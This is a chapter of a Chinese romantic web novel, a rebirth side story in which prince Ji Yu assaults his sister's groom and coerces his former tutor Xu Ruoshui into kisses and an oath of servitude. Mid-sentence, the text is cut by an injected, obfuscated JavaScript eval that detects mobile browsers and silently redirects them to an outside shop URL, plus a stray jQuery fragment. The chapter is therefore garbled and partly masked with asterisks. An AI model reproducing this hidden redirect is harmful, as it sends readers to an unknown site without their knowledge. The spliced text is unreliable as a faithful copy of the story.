第230章姬玉徐若水if线
【双重生(上)】
(一)重生
姬玉身份高,天赋好,受天道眷顾,长得还玉树临风倜傥潇洒举世无双(自认为),除却在脾气上有一点点小瑕疵外,他觉得自己此生毫无缺陷。
关于脾气不好这点,他觉得这也不算缺陷,毕竟他爹昏庸无能,一点多余的用处都没有,整日里除了炼丹就是炼丹,烧的整个宫殿乌烟瘴气,空气里都弥漫着药味儿,叫他闻着作呕。
所以他烧掉丹房理所当然。
在他将丹房烧了第八遍,并成功毁掉一锅极品灵丹之后,一直放养他的帝君终于忍不了了,拿起戒尺试图揍他个屁股开花。
不过很可惜,戒尺举起来之前,先被天雷劈成了渣渣。
天命所在,天道眷顾,亲爹也打不了他,就是这么猖狂。
于是焦头烂额的帝君选择责任外包,他终于从漫长的摸鱼享乐中抽出点时间给自己的儿子找先生,不求多有能力,只求能将这混账玩意治住。
从三岁到十岁,姬玉折腾走了三十多位先生,直到遇到徐若水。
斯斯文文,白白净净,没有长胡子,大褶子,不会之乎者也满口规矩责任,也没有一见他便跪在地上向他磕头,只是摊开了书本,给他讲了一上午的故事。
这世上所有人都像是一册书,从前那些人都格外的薄,他两三眼便能看得清清楚楚,但徐若水这本书却极厚,翻过一页又一页,深不见底。
十年,他未曾将徐若水看透,反而被这个人拿捏。
也许神朝当真到了穷途末路,徐若水生来便是克他的,骗了他的情,要了他的命,叫他痛不欲生,一败涂地。
头颅被斩下的瞬间,他的视线旋转,看见了残破的宫殿和血红的天幕。
若再来一次,若再来一世,他一定不要重蹈覆辙——
枝上雪花承受不住般坠落,砸进他衣襟,冷得他哆嗦了一下。
姬玉抬头,看见了空中绽放的焰火,四周到处都是张贴的喜字,红绸在空中飘飞,香风阵阵,不远处,新娘与新郎手拉着手,正相视一笑,浓情蜜意。
姬玉:“……”
他想起来了,他阿姐大婚那日,他偷偷入了后宅,对傅缱耳提面命,狠狠地威胁了一番,然后他便去寻了徐若水告白,轻轻拉了一下手。
天上焰火飘动,四野里明灯如昼,
在这如梦似幻的景象里,姬玉摸了摸自己的脖颈,很好,脑袋还在。
是梦吗?
他挽起了袖子,而后大步流星,朝着那一对刚刚互诉衷情的小鸳鸯奔去,在傅缱困惑的目光中,抬腿,一脚踹他身上,将人踹飞数米后,合身扑上,又一拳揍在他脸上,一颗牙从新郎官的嘴里飞出来,血色很快比喜袍的颜色都要红。
手指传来痛感,姬玉意识到自己居然重生了。
很好。
非常好。
他才不要当什么明君,当什么好弟弟,乖学生,他是天命所在,是天地共主,是神朝帝君,什么狗屁的改革都吃屎去吧!他要把这群狼子野心的王八蛋一个个杀了!全杀了!!
傅缱的好友本在喝酒,他忽然暴起动手,一下子将所有人惊动。
姬纾在旁边拉他的胳膊,小声且快速道:“别打了!别打了!打坏了脸就不好看了!”
傅缱一脸懵,还不忘狡辩,“殿下,您对臣可是有什么误会?”
姬玉大笑,“误会?没有误会,打你就打你,还要挑日子吗?”
旁侧里又有几个熟面孔冲过来拉架,姬玉心道来的好,抽出长剑就要将这群人全部斩杀在场。
只是长剑出鞘的瞬间,有人从旁侧冲出来,一把握住了剑刃,见红的瞬间,四周倒抽一口冷气。
徐若水脸上没有一丝血色,这让他看起来像一尊玉做的雕像,唯有一双眼睛漆黑的,看不清情绪。
他大概从很远的地方奔跑过来,呼吸都不平稳,微微喘息道:“殿下,今日不宜见血。”
姬玉:“我想见,你待如何?”
姬纾已经过去将傅缱扶起,看着夫君脸上的伤,眼中心疼,捏着帕子轻擦,“还能不能恢复原样啊?可不能留疤……”
看热闹的人越聚越多,其中不乏熟悉的面孔。有亲卫冲过来,拖着刀枪剑戟在旁边嚷嚷,“殿下要杀谁?我来!”
姬玉谁都不理,他只是盯着徐若水的眼睛,看着那双漆黑的,不透出一丝光亮的眼睛。
他想掐死他,或者把他丢进丹鼎里,让这个背弃他真心的混账立刻马上灰飞烟灭,他想看他哀嚎,颤抖,求饶,让那张总是冷静,没有太多表情变换的脸上露出恐惧,憎恶,就像当年两军对垒时那般。
这样他可以更好的将人杀死。
只是……在这之前,他要狠狠地羞辱徐若水。
不是说从来不喜欢他吗
?不是说只是利用他吗?不是说和他挨的近一些就反胃恶心吗?
丢掉剑,姬玉看着四面八方聚拢而来的人堆,他眯着眼,打量徐若水两眼,看着他素雅的衣衫,工整的发冠,宛如白梅般不可亵渎的气质,阴冷一笑,“想让孤停下,可以,你过来,亲孤一口,说永生永世侍奉于孤,今日便饶他们一命。”
话音一落,满场寂静。
天上雪落,坠在徐若水脸上,有一种出奇的幽冷。
人群中有一股杀意袭来,姬玉抬目望去,看见另一个与徐若水容貌极为相似的青年正满脸**的盯着他。
有什么东西一闪而过,不待他细想,脸颊被温软的东西擦过,带着书卷和一点清冷白梅香的气息涌过来,随后是徐若水一字一句,认真且专注的誓言,“徐若水愿终身侍奉殿下,直至神魂消亡。”
徐若水亲了他。
徐若水发了誓。
姬玉脑中一片空白,被狂喜淹没,然后又被他立刻按捺下去。
他笑出声,而后又瞬间将脸上这点笑压下去,这让他面部显得有些扭曲,随后他咬着牙,绷紧脸皮,不悦道:“谁许你亲脸了?亲嘴。”
四周一片抽气声。
众目睽睽之下,徐若水手指开始抑制不住的颤抖,脸上也浮现出一丝疑似羞耻的薄红。
就在他以为此人终于要翻脸的时候,那双漆黑的眼睛里忽然闪动出一点水光,而后抬头亲了过来。
软软的,香香的,有一点点酒气。
徐若水不是滴酒不沾的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16784807|149926||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吗?
哈,不愧是联军首领,果然能屈能伸,见风使舵的本事真不小。
既然还想和他周旋,那他肯定是奉陪到底。
一吻毕,旁边传来呱唧呱唧的鼓掌声,扭头一看,姬纾一边掺着她鼻青脸肿的相公,一边鼓掌,“阿弟,从前不知你竟如此霸道,厉害厉害。”
几个侍从竖拇指的竖拇指,目瞪口呆的目瞪口呆,还有芜湖一声,说殿下威武的。
姬玉的虚荣心开始膨胀。
上辈子没做的事,这辈子他要百倍,千倍,万倍的讨回来!
一把拽住徐若水的手腕,姬玉拖着**步流星往外去,“跟孤回宫。”
徐若水被拽的一个踉跄,他手上的血还未尽,染红了姬玉的袖口。
姬玉瞥了一眼,用块帕子包起来,嫌弃道:“脏**。”
徐若水嘴角动了动,不待他说话,围观人群中有人
冲出来,吵闹道:“放开我兄长!你要对他做什么?!你这个断——唔!”
徐若水抬手一道禁言咒打过去,封了那人的嘴,姬玉敏锐的察觉到他的紧张,回头望去,嚯了一声,“这你弟?还是第一次见。”
“他年纪小,不懂事,口无遮掩,殿下莫要见怪。”徐若水回握住姬玉的手,他手指冰凉,没什么温度,声音清润,仿佛潺潺流水从耳边滑过,温柔的很,“殿下回宫有何要事?莫要耽误了时间。”
姬玉想起自己如今还未曾建造的小黑屋,略微遗憾,不过他不是从前那个什么都不懂的呆头鹅了,他已经博览群书,知道什么法子最能让人痛苦折磨,丧失尊严!
当即不再理会其他人,决定先将上辈子没吃到的那口肉,从上到下,从里到外尝个一干二净再说。
(二)良宵
浩浩荡荡回了宫,徐若水手上的血已经止住。
他将人往床上一丢,自个儿将腰带一解,松散着外袍压过去。
姬玉想,自己现在一定凶神恶煞,恐怖至极,徐若水在床榻上想必是惊魂未定,苦不堪言。
将青年朴素的外衫一撕,他冷笑着捏起人的下巴,威胁道:“你若敢跑,孤就将你在意的人全杀了!”
意料之外的,松散长发下的那双眼睛并不狼狈,也不慌张,反而像两口不见底的深井,这让姬玉有一种一脚踏入陷阱的危险感。
“我不跑。”徐若水支撑起身体,黑色的长发像是涌动的流泉,铺展在床榻上,散开的衣襟口泄露出一点点苍白的肌肤,修长的脖颈完全袒露在他眼前,引着人去掐,或者去咬。
“殿下,只要你想,做什么都可以。”
姬玉:“…………”
滴滴答答滴滴答答——
血滴在徐若水襟口,姬玉捂着鼻腔,仓惶败退。
该死的以退为进,徐若水脑子转得够快啊!以为色诱就能让他屈服?
哈哈哈,不可能的,他恨死徐若水了,他一定要折磨他。
唔,不过要先把鼻血止一下。
这该死的童子身,就是容易乱激动。
作者有话要说:
徐若水:不要勾引我。
姬玉:不要勾引我!
恋爱脑是这样的,记吃不记打。